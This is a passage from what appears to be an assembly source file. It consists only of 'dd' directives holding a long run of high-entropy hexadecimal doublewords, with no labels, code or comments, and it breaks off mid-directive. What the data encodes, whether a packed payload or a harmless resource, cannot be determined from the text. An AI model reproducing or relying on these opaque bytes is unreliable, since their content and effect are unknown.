255B0501h, 7C45EB81h, 0FB4028CDh dd 58F060B0h, 0FC051D09h, 0BA065FE9h, 0FEC9B12h, 277B2E48h dd 8B204BC8h, 30413E77h, 97EAF3FBh, 2C92A350h, 44BD9590h dd 92325C1h, 4052C27Eh, 281EA631h, 34A22C2Fh, 0EB18243Dh dd 97531E98h, 3BC650Ch, 4CDA3A39h, 6E640088h, 3BE92572h dd 8E909140h, 799BCA68h, 6D273F83h, 2F27F8E7h, 24016EF7h dd 2B5AD028h, 0B3EF899h, 9540B24Ch, 0A53C968h, 0B80950C6h dd 1B125E07h, 5521CE81h, 0D03F718Bh, 0FA6E878Dh, 0D62D0478h dd 4BF353h, 1A92116h, 8A0CE181h, 0D2300354h, 71D57F0Bh dd 951CB829h, 1CA12858h, 21C20435h, 1FC84F6h, 165399B0h dd 93097B7h, 0EBC34BD3h, 50559F30h, 7E483185h, 84F0A138h dd 5DB30FBEh, 45A5EA5Eh, 0ADE804E4h, 4652C9D1h, 9CE925B2h dd 56C3ADFEh, 0FF5DB255h, 0E9EEB201h, 0D8003FD9h, 0BF129D35h dd 0C309123Ah, 72284558h, 615E90E9h, 27674928h, 0A55D094h dd 0D056F80Bh, 72EFBFADh, 0D951E904h, 680C1CB2h, 541A761Eh dd 0C2998D2h, 0AC19B23Dh, 0DDE337C8h, 0F479E65Ch, 57072AAAh dd 0F7130768h, 0C4805F55h, 81B1188h, 4A87E91Fh, 0A52C763Eh dd 13474989h, 5C520F8h, 80D7F665h, 0BED013C7h, 0C5E99904h dd 0B84EF9BCh, 0C722D31Bh, 888B490Bh, 8FDB40FAh, 0F66880F8h dd 74C56118h, 9D1E9E16h, 93164FBAh, 2EAC7097h, 408377E9h dd 5B1F7CC5h, 18590E25h, 9DF9F663h, 0E3E985C8h, 84A3474Bh dd 0D8BA0DDDh, 63732008h, 0F9D6AB8h, 0F42A9A9h, 86BBA340h dd 682316FFh, 0DA400C2Fh, 5B89EA10h, 495C14A8h, 0E9C3B102h dd 0F21680BDh, 5B8DF921h, 627B453Eh, 124CB9D5h, 0DAA6CC10h dd 13AA2150h, 0BF4FAE39h, 0D08FB50h, 271BF6E9h, 16085282h dd 966148C2h, 880745F2h, 0F340263Bh, 0C6800E59h, 0F00F5B28h dd 0AB09E884h, 4FE8EE29h, 6859091Ch, 8F7C64B0h, 1CE8EA64h dd 2F042910h, 19E47253h, 0DF0B8BFBh, 84D07D5Bh, 0C1023B75h dd 0BBF00CE8h, 0DB49842Dh, 645B2D53h, 25C266C9h, 997C14F7h dd 0B76E94CBh, 5C6BB49Eh, 62CDF373h, 9A503EE9h, 3E6C003h dd 996CF680h, 68512EEh, 22F0304Ch, 0E48451F6h, 0D834FBA0h dd 0C9E9CAAEh, 69B892D3h, 76E8DE3Ch, 491B96D8h, 0A555749Ah dd 96E4F8D3h, 12EFE6A9h, 1DF72839h, 885A4FCAh, 0A01E5BECh dd 16F3302Dh, 35D62092h, 89595E05h, 0CF8C205Fh, 1F009FBFh dd 0A1B7840Fh, 50557AC0h, 14D15B8h, 2252281h, 43581C10h dd 60708E6h, 20B95103h, 843C7FA2h, 688101B6h, 8100DC42h dd 78B51FEFh, 545CA0A5h, 385BD9F8h, 2527F465h, 160AC8BDh dd 83EB31F6h, 3AB7242h, 7AC3C343h, 0A8644B32h, 5038FD6h dd 46B4C2D2h, 0F2304F02h, 0FC062E9Ah, 0C11E03A6h, 3BCFA408h dd 39DFFAA4h, 2C9B4384h, 0F2E2C05Fh, 4904F07Eh, 0C54FE98Ch dd 674A62B2h, 0A07FF41Bh, 9A2768E1h, 0E3D95E4Ch, 15B172B8h dd 0C28E4444h, 17D9D890h, 59A37A89h, 48183CE5h, 575B1A27h dd 68515200h, 70913AE6h, 0D1F70459h, 0AAC35DE9h, 6D6A3D9Dh dd 0FFB32F50h, 0B96CC4Dh, 0C6E37591h, 797E70A9h, 2A3406DFh dd 0AC7256h, 674DDE35h, 107EE929h, 68E6E1C1h, 0B32A2DC2h dd 21A71E37h, 0F5812F80h, 4B3605BCh, 7F74E15Bh, 9068DB20h dd 10312D0h, 5E2CAFEEh, 6E009FDAh, 0EB80C328h, 1206AB65h dd 8F512BFh, 521E4650h, 0B512391Eh, 5EBE4BA0h, 3CFFE4A8h dd 0C981F4A8h, 9975FA02h, 0E0414938h, 7A29863Fh, 0B2D909Ah dd 4007C578h, 0B42017D0h, 952D042Fh, 0BE603F73h, 0E3C1DD02h dd 0A1E4C104h dd 0ED50C8DCh, 3E374EF0h, 0C7F6A40h, 45A01A4Bh, 117E0E18h dd 0EB0C3E61h, 40EE91DCh, 3E6E1A78h, 0C73A4321h, 3B0373Ch dd 832C750Ch, 41806395h, 0CA10828h, 0A0202014h, 0B3DA20CBh dd 0B41A28E7h, 0C8AD1F5Bh, 0BD020DB7h, 80C7573Dh, 0BD9C5BCh dd 0C2285093h, 5A631312h, 16ADEC2Fh, 0D3C85655h, 17DF945Eh dd 9ABF929h, 5719B2E9h, 57553630h, 280DBF00h, 1DE975ECh dd 0BFE59D8Eh, 20D46625h, 4E9AA5BAh, 0D04F5507h, 0F3855B65h dd 75A00716h, 431A05FCh, 0A085E93Fh, 0D95DF63Eh, 97CD3DFEh dd 91930203h, 39BEB4B9h, 142C7A5Bh, 0F3835ECAh, 29899F59h dd 0ADEA7BD2h, 37ED3E09h, 501C311h, 175913B1h, 33BC245Dh dd 9574E980h, 0EE77DB5Ah, 4DB06326h, 5102A5BEh, 734EA78Ch dd 0A91EA025h, 0FB900334h, 1B88057Dh, 808204ABh, 7548FD4Eh dd 0ECF5615Ah, 2F5D0803h, 7F4C021Eh, 5AC88431h, 848E7CACh dd 2606AFBDh, 0CE0BD465h, 5C4B1856h, 1247Bh, 7E0B0C70h dd 1BBCC521h, 0D6D31689h, 2A661FBh, 0DAB03BEFh, 516A0232h dd 0E558E96Dh, 0B9FB2103h, 0CBA546AAh, 0FF6E4E89h, 0D8B55113h dd 697E9FA4h, 18C222C6h, 60160781h, 41803AFAh, 5CA872FDh dd 0A48BD53h, 0E910AE05h, 88F939D8h, 7B560B3h, 6719B450h dd 0AB6DA2AEh, 2997D572h, 3837F6Fh, 1B02EF84h, 0BC43E1C7h dd 0B897716h, 0C198A0D5h, 12717B4Fh, 223D35E9h, 66D0A043h dd 199043B2h, 0CA02E024h, 0A0C4D818h, 0F0F84F59h, 7513371Dh dd 8C024DDBh, 85D5F707h, 0B480739Fh, 0F747E95Dh, 9205616Dh dd 0C421FC3Ch, 957C2A6h, 0D3420F59h, 0A0602BD8h, 5801209h dd 22F53FD4h, 0B64029AFh, 991B0EEFh, 0C042F149h, 986C2A32h dd 429362A9h, 3C2D92Ch, 2E249474h, 0D2F6DC4Bh, 0BB043DD8h dd 1E436E90h, 0A84D02BEh, 825D255Fh, 0F3EA7524h, 0D9B0BD49h dd 5AD60171h, 282E5B9Fh, 0BE65928Ch, 5F2942D1h, 3CC047E9h dd 0C10C62C1h, 0F9280291h, 0CB0BB676h, 0E2131059h, 6098B7C5h dd 0F682F265h, 0B4C864A9h, 0D041E296h, 5B0F883Fh, 457E3804h dd 141F4C01h, 0E9850C6Ch, 5287D7F2h, 0E0C97AD4h, 504D023Ch dd 44B6BFDBh, 760A429Fh, 7846E93Fh, 3E03FA81h, 7A68D780h dd 709AB73Dh, 0AD51C55Dh, 0BAAE2065h, 3F9D963h, 0FBAFBF98h dd 4D78E18h, 722FA3F1h, 86911A5Fh, 0CA5116Ah, 61F62646h dd 0E72D2EB6h, 884631C3h, 48176BC7h, 0EC0C528h, 0B35305E2h dd 7DA3E962h, 4DCCD39Ah, 897739Ah, 251A2E3h, 99E9090Ah dd 6D51C9B4h, 0C03A3335h, 98403180h, 1C5E657Ch, 60FB5BC5h dd 1EF8BB36h, 1CCB15Ch, 83EBD1D3h, 2F7801C3h, 518F1469h dd 9623D62h, 48551A62h, 17DD01C5h, 88C12EE9h, 0FA5EBACFh dd 0C380F7A2h, 84E4854h, 0B9B2215Bh, 178DEE10h, 0D9BD875Ah dd 51652C92h, 20BCE912h, 64C628FAh, 24C1EB0h, 0D47D27EDh dd 93A56896h, 0D5410753h, 9D80993Fh, 0AA0E54F2h, 80ACE0BDh dd 0D80902CEh, 0BFE9D389h, 7601A3ABh, 6BFA43ACh, 67BC0001h dd 0C42A7CFBh, 0B78F8013h, 695C8F7Ah, 0BE9165Bh, 0AABAD442h dd 0F7EA602Eh, 8F5995DAh, 55784218h, 88212575h, 0AF5C5AE2h dd 1DC47D5Ah, 6884A594h, 0DBFE423Ch, 0F43F16B6h, 2E8639F2h dd 475B16CBh, 0BE566580h, 5C3209F6h, 11750140h, 0F57C55D6h dd 7A1462Ch, 326992BDh, 3161F289h, 505801BFh, 0D3291EDCh dd 4FE4B82Ah, 0CB01BCF1h, 81889310h, 2BE01EFh, 1B4D8768h dd 8005578h, 2AF56A08h, 8A4AE97Dh, 7CE18D89h, 0C674407Eh dd 4FA539C4h, 0A2BE17F6h, 1632BCB9h, 2FC78A2h, 0D047B392h dd 35B505F8h, 47B0C8E9h, 4268125Fh, 93D38C34h, 0EE26414h dd 709F01A4h, 0DDF7128Ch, 5EAB6691h, 0A39B19C2h, 0FAC786A3h dd 1602FCDDh, 75640042h, 911C04Fh, 0C47184B5h, 215832F8h dd 0F8130225h, 0C0A752D9h, 28CEEF31h, 58DBF828h, 0DBE13980h dd 81AEC99Dh, 40E91CF1h, 0FC886A3Fh, 18823B98h, 0A659EB2Fh dd 5CDD4D19h, 206D87Bh, 0A8E9138Ch, 0E039FC1Bh, 73B4EB80h dd 40FE9828h, 0F90CB3ADh, 1E06E3C0h, 70C1E676h, 75D978D5h dd 825B4AE9h, 71E1C8E5h, 0FF0484h, 7247B6E5h, 0F74A3160h dd 0F22590E6h, 0D6212982h, 27504D7Dh, 0E958417Ch, 5EBF9A9Fh dd 0EC5035Fh, 0D6326A59h, 2BE85529h, 0DAAE2ED3h, 0A5424117h dd 7F289B68h, 39FDC598h, 0A43BE980h, 417097DAh, 2F6CF106h dd 127456FAh, 0FE6D50C2h, 32A9D00h, 53097C87h, 621072F1h dd 8632603Bh, 17E854Bh, 0F681FB8h, 48F03146h, 28C14818h dd 527E591Ah, 2C5CF13Bh, 8BE98F8Bh, 1FF153B5h, 586D2C01h dd 6D4C2868h, 531D390h, 0D37DC394h, 56496D04h, 3D9AB954h dd 0B86417E8h, 0D8139AE9h, 7BEDE798h, 5A144832h, 0B0AF4C5Bh dd 0C5FC4AF4h, 9B30AB4Eh, 183B652h, 86A8B450h, 85C3FEDCh dd 37C48008h, 8B90982h, 0EE01C283h, 7603BADEh, 0E4382328h dd 49400DBBh, 20F221BFh, 2B1B90BDh, 0F91002CBh, 1E807779h dd 4B763B4h, 26F6E730h, 5C12F9BAh, 7D0B5455h, 0BCAAE314h dd 49D9782h, 683E8066h, 18B75D59h, 2C80CF46h, 5CAF9C2h dd 1490E9A1h, 4D002472h, 5706090Ah, 0D5796856h, 0E96FD60Bh dd 5D48A4E5h, 7BAEBD80h, 5E407CD2h, 5A890408h, 6E88EF2Dh dd 92AC5986h, 3D52DD1Eh, 5895C433h, 80B1B2C0h, 9729EA3Eh dd 2F20CEEDh, 1EC90906h, 39C2016Ah, 21400851h, 4B896CF5h dd 177842Ah, 18119BA5h, 2022E7Eh, 487609E9h, 0BF38B380h dd 0DA00DD66h, 2942A066h, 5B5EF5h, 1F3FBF57h, 7FE923CAh dd 8481205Ch, 89F4EF90h, 734D005Ch, 32C12D77h, 12B892C2h dd 0D7F0D698h, 5EDD6225h, 3165031Bh, 0F1FB6EFEh, 57081C40h dd 9B74FFCh, 510C56DAh, 1A8F2B5Eh, 75A4E909h, 7325D2FBh dd 0E27EA625h, 5B80B4A0h, 31FB0FD3h, 58C52909h, 4354CA2Dh dd 0F82A2092h, 11E7E280h, 0F1214727h, 69ED6764h, 0BB01EFF9h dd 588714A5h, 830E857Fh, 131EA870h, 26320FE9h, 439E5489h dd 0C2A5F74Ah, 0B9F79h, 397E7707h, 0A113BA2Eh, 0D9288FFDh dd 0C7F3FEC6h, 1D0270BCh, 0D62F202Ch, 0EDAA6F7Eh, 89E62E0Ch dd 39571CB9h, 22EAD2AEh, 0A3552B48h, 3A8BD4Ah, 5EEDEB8Fh dd 73D93127h, 0D3523983h, 9E0CE57h, 0B1EA5AE9h, 0D8DC22A7h dd 59E956BDh, 51249D63h, 9D1B15C2h, 13C32912h, 4644FE5Fh dd 0CD8F301h, 40609855h, 0AD4866EDh, 0EC261696h, 16CECA34h dd 496EB84Ah, 0D5668956h, 74854190h, 685C1686h, 13EBEDEEh dd 5CBD8078h, 7C915215h, 8150D39Eh, 21EA216Dh, 8A14F245h dd 0B5B265BCh, 2B61FF43h, 10586EDh, 8C2C8000h, 0BBD9AD14h dd 32AC79C8h, 0B83A0502h, 6F99CC82h, 0B905BCE4h, 23867650h dd 7EF591AAh, 535CA779h, 0B3DF3ED7h, 21FBD38Ah, 8073F482h dd 1C68038h, 5A66F586h, 0EC380350h, 5BC0FC88h, 5898E508h dd 0C0D5F612h, 800A8918h, 19E35CC5h, 5C507A27h, 595BC375h dd 0E1925F1Dh, 95126884h, 340F58Dh, 69273876h, 0A2A1DC5Fh dd 9C6DE380h, 562D194Eh, 0F028C222h, 41D86277h, 94652DFAh dd 24FCE2D0h, 352E7FC6h, 0E6C304F5h, 0EBBF00ADh, 393DA36Eh dd 0E727EFD1h, 34FC5EC0h, 0E9B0885Fh, 40EE416Fh, 0F50CB0FAh dd 0A65DE19Dh, 9AEF1783h, 0ACBDF72Dh, 2ABB5113h, 0BD0C5CD6h dd 8257FCABh, 0D9E3F78Dh, 4CDEA505h, 32584E5Ah, 0E11D18E0h dd 34B67941h, 0D97F09C1h dd 7FD84059h, 0EB013E96h, 7B9238C5h, 880502Ah, 344D4B4Ch dd 277CA84Eh, 8195617Ch, 0B6B1DC6Eh, 0D0B850F2h, 555C0B9Fh dd 0AB98FBB6h, 594BB2BDh, 0FBE989D6h, 0FB82CBE2h, 5C04D7AEh dd 5550CEADh, 500317F9h, 1822B856h, 0E911FEC1h, 77E65BDCh dd 0F0B2B23Ah, 4F6003DCh, 4C88A1BFh, 8441A629h, 7396492Eh dd 0C84AE3FAh, 40383DE3h, 0BBF69AE4h, 84C2BB72h, 1D1CBF93h dd 82FAD5E3h, 564ABB02h, 7A700814h, 63096EFCh, 4B77AAh dd 233819E3h, 0B16B066h, 0EE7916F2h, 314AFAF0h, 13D333E2h dd 0F622FB50h, 0B72F8FDh, 5153DE87h, 0FC78B405h, 4CFE907Fh dd 80661091h, 0DFE68102h, 9C87CC21h, 0E8D4D5D6h, 0BAA34ECAh dd 0E5E98199h, 1C13400Fh, 187BDB71h, 7D05A34Fh, 3FC2CF30h dd 208E5A7Ah, 0D5F705ABh, 0EA7B808Ch, 127F6C1Fh, 1081EDD1h dd 164009ECh, 0A154E689h, 91ED5F58h, 227A5A24h, 584AE8B7h dd 0A3474C8Fh, 4122C350h, 0C22880F1h, 5F9946ECh, 4890B058h dd 1E382402h, 0E975EF02h, 744AA425h, 223B0699h, 0AEE203D8h dd 0D921EE40h, 1689AAC6h, 3582F931h, 81002D43h, 4C0ED4CDh dd 0F502914Fh, 5DE427DEh, 681A81F5h, 9A760DF8h, 48031804h dd 0C217C265h, 3B037C0Bh, 0FA345DF9h, 20C2012Ah, 0BE0C3A9Ah dd 884B36A3h, 0D20B953Bh, 0D7FC2F16h, 47B719BAh, 56884A4h dd 920DB96Fh, 8532FF6h, 0A020CE2Bh, 0C85A2DAFh, 95319BCCh dd 5EF7B79Bh, 6D3D61C6h, 13B87064h, 5DF0427h, 0A3218F12h dd 0F18D5AA6h, 53C0C07Ch, 0E96AB8BBh, 0AB42850h, 0E297682h dd 68A5384Fh, 3BC9ABC7h, 4F08B8F4h, 3179A13Bh, 0D701F52Dh dd 0E91A3362h, 87B97042h, 0B410139Bh, 5A5FD52Ah, 721A02E2h dd 0F9C2D987h, 0C0958487h, 0EA8335A1h, 0FBC2CDFBh, 946E0750h dd 75EF1FD2h, 8479BC51h, 8100CAF0h, 8434BBF6h, 90C2260h dd 133EC606h, 0A8A96BE9h, 0A0193E2h, 67CC0EE4h, 9E9677F8h dd 66028A78h, 0AA4DBAE2h, 998B1267h, 93BDDAF3h, 371EEE87h dd 0AFAB0F6Fh, 0ADACF35Dh, 7EDBC810h, 276DBE14h, 4BF335A2h dd 0F6A60EAh, 0BEA1C0B7h, 4112CAABh, 96686F7Bh, 33B40C9Eh dd 0DC58B530h, 0C03203EAh, 0B4FE05E5h, 0A6DAC1AAh, 8BF278E4h dd 3EDDFE5Eh, 3A08CF1Ah, 7402197Eh, 0B260D232h, 0AD9940A5h dd 469E2C1Bh, 0A285173Ah, 76680895h, 94F83E11h, 0EF280E1Ah dd 93F006EAh, 0AF601A5Ah, 6076C440h, 0AF47143Dh, 0F4FD0907h dd 9B43092Bh, 0F7425E76h, 72855E1Ch, 87226989h, 7F643C68h dd 0E6ADC62Fh, 456A0F9Ch, 0CEAB4BA6h, 2FBB50D4h, 0FB3E424Ch dd 0A1539857h, 0EF3CC058h, 0BCE39803h, 0B40A5465h, 1727603Fh dd 0EAF03E98h, 180FE917h, 0AD9C1FACh, 5893C55Eh, 0E97102EBh dd 65E8B7F3h, 622769B9h, 816E5648h, 32D166F7h, 0E6176A55h dd 9B413F8h, 79A019ABh, 5B3758F1h, 250C3160h, 8022C36Dh dd 8C0029ABh, 55515662h, 124F6857h, 6F3041h, 12AAEF67h dd 74C2239Bh, 0E01C3E96h, 8BFE8591h, 45902B2h, 0AB68694Fh dd 0F249DA6Ch, 0EA894A9h, 89E9CA31h, 5C4EAF78h, 0CC5A6FCAh dd 0CB4C2995h, 0DAB4B56Ch, 11B40EEh, 20B8FE4Ah, 7FF189A1h dd 21741584h, 0E9D342EEh, 1F4690BCh, 14B2B1F0h, 1EB6813h dd 4113F8A3h, 6D7668Ch, 154BEAF6h, 0FC4A60A6h, 0D9C993A9h dd 1269DF60h, 0AA3D31D6h, 3AA03216h, 0BCEEB26Eh, 0C48C736Ch dd 4E9DA823h, 0E9850B8Ah, 3C7DA4AAh, 0BDE62B5Eh, 0E90A06D1h dd 84D67513h, 0A233F568h, 0E9EB6117h, 0C324C080h, 5D580155h dd 81689545h, 3F438B75h, 16B157FEh, 4AC20819h, 6C6CC46Dh dd 0C8404243h, 468B0B35h, 900401D0h, 51051394h, 2CBEA4ACh dd 0BB500FB2h, 5A888C36h, 0E8DD4FF7h, 0D57D75EFh, 0E5ACE735h dd 4F53CAAFh, 69323DA7h, 41F06447h, 3CFA120h, 5753CA81h dd 65D912EAh, 0BA1680FBh, 4DF04991h, 24D261F7h, 6F71355Fh dd 0E5B0E07h, 0F2C02DB7h, 4A996EA0h, 0EFE9C06Ch, 1A4A0F90h dd 415DDFB0h, 84CC6A95h, 2EEB413Dh, 0CF895A8Ch, 0D5EB572Ch dd 0E1C17540h, 781073Ah, 40593966h, 0FEB471E2h, 0B2E56B3Ch dd 3A5F300h, 5EE93862h, 0AD67C329h, 5246C4B4h, 400BAA1h dd 9B14BF57h, 0A1A24EDCh, 5A5D68B6h, 7FFA50C1h, 0CA41314h dd 5AA92C03h, 0F33B2181h, 0A3ED93BFh, 1758CB92h, 0DCB1ABE9h dd 9351E32Bh, 0FF6BBEC0h, 4FE91860h, 0B4E56B32h, 14BC4016h dd 4D34C601h, 207079F2h, 4A46EC18h, 0F8DD1669h, 76888BB0h dd 0FE4274Ah, 236292F4h, 6C6387h, 0D189515Dh, 8F4187B0h dd 6BDB893Bh, 6618CCE7h, 55E0BB8Ah, 339CB5F0h, 34D0F603h dd 0C0D8A1B8h, 2E2C05F8h, 55788B3h, 8403CD80h, 0AEBCD4BAh dd 0E290CC83h, 0EC9560EDh, 1FEBF259h, 9DE3284Ch, 0E5E94BC3h dd 0D6098062h, 8C13FDDEh, 560ABD09h, 60BC3CCBh, 98E97D84h dd 0A148B8A3h, 58037F78h, 15F370E7h, 58CB8BF9h, 0C05369A9h dd 0A3C08F5h, 0F9307B08h, 7FEC123Dh, 0ED6C63D9h, 33CB68F0h dd 59D492B5h, 0B367252Ah, 0CAA25013h, 58C05827h, 0E797BD95h dd 409E3553h, 7FF1B934h, 81B5401Ch, 7C3F4FB6h, 4DF25A80h dd 0BA5234BFh, 99133A0Bh, 9734D411h, 3BE5B1FEh, 0E91242CFh dd 7FA9E150h, 25E9DA38h, 0E8F40EFBh, 56082F5Bh, 6097A046h dd 57A5A9h, 0FBBB1C0Eh, 312A0870h, 8DFF82B5h, 0C09BCCDCh dd 5F35D9B0h, 0D303092Bh, 0F7CB875Ah, 0E4085AD1h, 0E0E0C3BBh dd 410B3540h, 8DA3616Bh, 0EC1590Bh, 4483F100h, 0D4EE6986h dd 0B5873ABh, 338CE1BDh, 326BF335h, 885429E1h, 0BDFFB08h dd 9B574481h, 0F0B3EA52h, 3CA4E815h, 0BAA574B1h, 12FD8B89h dd 1CFA02Fh, 4BE9F229h, 146F8551h, 653D7375h, 0DE003A25h dd 205DCBDh, 67BB5100h, 1BE0772h, 20C2B8EBh, 0B1F29F6Ch dd 28ED5801h, 9A17B8BBh, 91417FFAh, 89B03D4Bh, 0F713E296h dd 7B182D01h, 0C1CE3EF8h, 0A0B6E913h, 480105F1h, 150BE45h dd 7442DE8h, 5A29DE8h, 7D63A97Dh, 0D5917B02h, 0DCA5A274h dd 1021A490h, 43681EB7h, 0A820283Dh, 73C03B4Eh, 263825h dd 0E0D19F0h, 351C320Fh, 1239C303h, 0C71A0563h, 0B9E08CA5h dd 2D9EB821h, 0C3BA949Dh, 0FC65E005h, 89BB3ED2h, 1521048h dd 2C3B1C54h, 0D68DB8DAh, 19A8950Bh, 50F31094h, 2500D04Fh dd 81417DBFh, 764A2FF1h, 0E8524F84h, 4C86D933h, 43566F96h dd 0CBB3750h, 2E027BE1h, 9816BAB6h, 4B2CBB41h, 0AC43CEA8h dd 96419CC9h, 9B123F5Dh, 0D1B84E0Bh, 0D030BC8Fh, 0BE33EFF7h dd 0B4869F65h, 0EE5FF988h, 0E844B786h, 0BD596D98h, 96F25E67h dd 9FF8F87Ah, 280FE2C8h, 97B3D84Ah, 0AEAF6812h, 82B35232h dd 0FBBCEDh, 0C85725BDh, 4DA1554Fh, 2C7419F5h, 50F30728h dd 466633B0h, 9F924CF6h, 607E833h, 280D8904h, 0EEB41968h dd 0B652B3C0h, 0F5880464h, 9098EDE9h, 508E0A2h, 7562BF0Bh dd 0B57068h, 115EB5Ch, 0BB5357C2h, 0DF8909A0h, 2EC2A9B4h dd 7405098Ah, 7D8F968h, 9AE3B94h, 12B4C5B4h, 1A4207EDh dd 6BC1392Eh, 8C1270Fh, 9268CA25h, 95E00312h, 31F25F97h dd 7780557h, 0C7AFF004h, 126A3639h, 894953B7h, 1B68997Ah dd 10E0446Bh, 42BC60F6h, 84CF0E2Eh, 0CAAB03DEh, 3E35EA3h dd 2BADE987h, 18C72242h, 9F8FFA2Dh, 76248965h, 55032DCAh dd 12E9342h, 2A096C24h, 0A0D70173h, 1CD0081Ch, 7C5A2D14h dd 29D259D4h, 0BB432A49h dd 4BAF8580h, 68346B26h, 8A3723Ch, 45601C1Fh, 61E92A04h dd 0CF7B20E1h, 59E912FEh, 0EF254B4h, 27D476F7h, 4F6EE2C0h dd 0F29D7902h, 96EA00E5h, 2945538Bh, 0E42CE9D7h, 0C0A509A0h dd 7147FEFAh, 3C7B9D1Eh, 68BE0A7h, 4E791C4Bh, 12EB35Eh dd 32E5115Fh, 0BD78A361h, 0C8AF0FC0h, 1B5BF9E9h, 80F4ECBCh dd 2EDA05C4h, 8902D70Bh, 0F5F005C6h, 63AA3F24h, 52D538C2h dd 2540487h, 0E50AD8ADh, 94665C88h, 922042E0h, 1328EEFAh dd 6322067Ch, 91BB3B9Ah, 0B1316D96h, 0E9034071h, 6148F432h dd 1F360B32h, 790B02EFh, 34305A2h, 0AC0D87D9h, 7BE0C397h dd 9031182Ch, 558B3C9Ah, 0E85D4FA5h, 858C483Eh, 0C9C3525Eh dd 0A862FB6Eh, 2F80B9BAh, 0EC85736Fh, 38DAB42h, 0F2052528h dd 0C1E8B09Eh, 7E1148C1h, 41A1F4CCh, 5F60297h, 0EEC61B00h dd 0D7093163h, 4EB1792h, 0D3F1DE00h, 8301707Eh, 0BD6855F2h dd 205C3DB0h, 95522C10h, 5925BFA3h, 80FB255Eh, 0E9525F82h dd 2DEA56D9h, 0B22DD75Bh, 795784C8h, 501031FBh, 0F7634254h dd 0B96D4F0h, 80C069D0h, 0BBF5966h, 415BD6DFh, 955FF268h dd 4BC0B029h, 76F08546h, 92CB055Bh, 266701h, 3F2789E1h dd 3ECC121h, 7E01BD90h, 1FE49F7h, 25705BDFh, 0F147BF6Dh dd 6735D330h, 1FF10428h, 0E2712B68h, 1E185097h, 0F1E59841h dd 4B4DCB7Bh, 90C2A944h, 0C4805A01h, 68956E60h, 0E9E31D80h dd 522E5E8h, 0C95B7248h, 2440F99Eh, 2EB0C115h, 0E66820EFh dd 0CB786613h, 0CB7EE90Ah, 5A4A6E40h, 1A0B759h, 561F7CD9h dd 0B261F9A2h, 49133BD7h, 52FE73FEh, 74C35400h, 0DBF723B5h dd 0B0F30481h, 0B8A1909Bh, 3DE9176Dh, 0B33E8EE1h, 65BBB1A2h dd 1E9E1A40h, 8C19484Bh, 0A66D017Eh, 0D2E9401Dh, 7EFB39E3h dd 8C65EC4Eh, 28F789BBh, 7E3AB206h, 88500B43h, 0CC7BDD02h dd 4B1F7Ch, 1835E155h, 0E65EC41Fh, 0F74102B1h, 59E082D9h dd 0AB210575h, 2BF4B842h, 70F6C024h, 0AAF39F8Bh, 19F32B2h dd 6F91685Eh, 2B96785h, 511004D7h, 46EA12EEh, 0DD7BABF3h dd 6EC45EFAh, 3B1C7ECEh, 0F9FEF602h, 0CA7FAC75h, 5D14FDFDh dd 0CC88EAB3h, 0E79F3D01h, 6BD40F5Bh, 0FC90D67Dh, 53EDD224h dd 2E87E9C2h, 9AFB0009h, 9809AF61h, 0B773E413h, 0EBC7B6B0h dd 0E12E8082h, 0F631BA70h, 0FD1C5B6Dh, 64C8862Bh, 0F0EE7975h dd 0B6954ABAh, 2D257A51h, 0CB0251E3h, 0A42D14D5h, 0DC619F2Bh dd 5856340Ch, 0D24AF8ECh, 0C28019C9h, 193E3881h, 0D65BF75Eh dd 2BE65F80h, 8062C07h, 5FF8E7Ch, 7F5C89CDh, 0EA14FD1h dd 0D35F5606h, 0B95FACC3h, 903FE7D1h, 0B99610FBh, 8D85945Bh dd 0D9212712h, 597C1CE9h, 3C6ABE70h, 0FDDC5BF4h, 9C9DEFBh dd 42765627h, 0F9795058h, 17C4108h, 0CB69CFBBh, 12942006h dd 0ABD62E12h, 0C26731ECh, 323EF65Dh, 8030CD5Ch, 0D59D6AEFh dd 9FF5F66Dh, 77DC678Bh, 9AEAC327h, 10AF7213h, 40C770EAh dd 54E648B6h, 0C4E93409h, 0F17F24CEh, 0B9355AFFh, 8E279476h dd 0D62A4F0h, 0C08AEEh, 0ABB2664h, 1BA2F181h, 384BDB2Ah dd 2DE93E4Eh, 56947D02h, 14C42932h, 0F54FA5F4h, 4EB34E28h dd 0D384F8C6h, 0E9B12BF8h, 1CE38B1h, 0FE02E1C0h, 0BF2851C1h dd 0C9805904h, 0ED4784F8h, 0F2F7028Ch, 804CB30Ch, 6544BCDEh dd 2AE91832h, 88595017h, 1877C16h, 405255B4h, 72F56682h dd 635912EAh, 56B497D0h, 0AEC5A009h, 742D8077h, 0F0664716h dd 0DB49ED5Fh, 55B81A19h, 7A20793Ch, 0D326EA96h, 5CBE0167h dd 709D2194h, 1C5A8312h, 107B55E1h, 0E91708DDh, 6834B0CBh dd 6C3BCF25h, 15F39D1Bh, 7808716h, 0F05FCC80h, 0CDBE5A33h dd 0ABDB20A0h, 10BA78A3h, 0D089F8DEh, 0D0B25EC0h, 3B9D8CF6h dd 0D4D6DA93h, 432C05F4h, 53FAC020h, 0FE398CB7h, 4CF35C7h dd 0EE809FE0h, 0F6889762h, 85CA38AAh, 37D9BA19h, 813E2931h dd 331B4FCEh, 628D103Bh, 0F32D4009h, 8628AA56h, 8427F158h dd 22E4B316h, 2B9F027Bh, 5FF901F7h, 81BE3075h, 434801E5h dd 64E92BABh, 43682C67h, 193F3077h, 7D5157BDh, 27567B15h dd 0CA59994Bh, 7C748BC9h, 0E9C240A7h, 799917EEh, 0EB38FF0Fh dd 9280800Ch, 953EDC0Eh, 500103D9h, 15BE0FCh, 5E0FE620h dd 17CE20Dh, 8E43C581h, 846E1B38h, 923EFC9Bh, 0B94A77ACh dd 71C4A522h, 9C51CE98h, 7BD142D1h, 608BB851h, 50015C01h dd 0F99DA650h, 2128B258h, 22D66801h, 0AD61CC2Eh, 0C0538097h dd 3D8006EBh, 74A7C9C3h, 0D6BDFF00h, 37007332h, 66B7CD81h dd 49E962D8h, 5C273B2Fh, 0DD68F0DCh, 1472133Fh, 5CD670BFh dd 880B5153h, 61B8E9D1h, 37B0BBE1h, 3BCAEBBEh, 7A4B0D2Dh dd 0F70883BEh, 59407880h, 98FBFC19h, 6B10614h, 2A456ABBh dd 61C63A01h, 5FFD2951h, 25E9EBCCh, 41E8DE4Ah, 0AB242B40h dd 9802CE12h, 4060B636h, 65DA7DCh, 0D33161EEh, 0F3066A5Ah dd 191150AFh, 0D9030292h, 0DD01533Fh, 65E748C1h, 94B5E39Ah dd 0B186AC21h, 0D14DD727h, 6A5B4042h, 3DDC37h, 343CEEC9h dd 0C62B268h, 0B86C335h, 2129EA91h, 0BF7F4482h, 5DE39CDCh dd 4A765260h, 203C0402h, 0C70EFFDAh, 84E20967h, 86916E72h dd 